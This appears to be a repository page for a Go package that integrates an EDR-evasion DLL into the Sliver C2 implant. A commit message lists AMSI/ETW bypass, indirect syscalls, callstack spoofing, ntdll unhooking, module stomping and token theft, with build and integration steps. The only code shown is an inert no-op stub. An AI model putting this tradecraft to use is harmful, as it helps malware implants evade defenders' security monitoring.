SISTA
fe2726a430
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes
14 lines
435 B
Go
14 lines
435 B
Go
//go:build !evasion || !windows
|
|
|
|
package valak
|
|
|
|
import "time"
|
|
|
|
func Start() {}
|
|
func EvasionSleep(d time.Duration) { time.Sleep(d) }
|
|
func InitText() {}
|
|
func PatchAll() {}
|
|
func StealToken(pid uint32) bool { return false }
|
|
func Rev2self() bool { return false }
|
|
func Cleanup() {}
|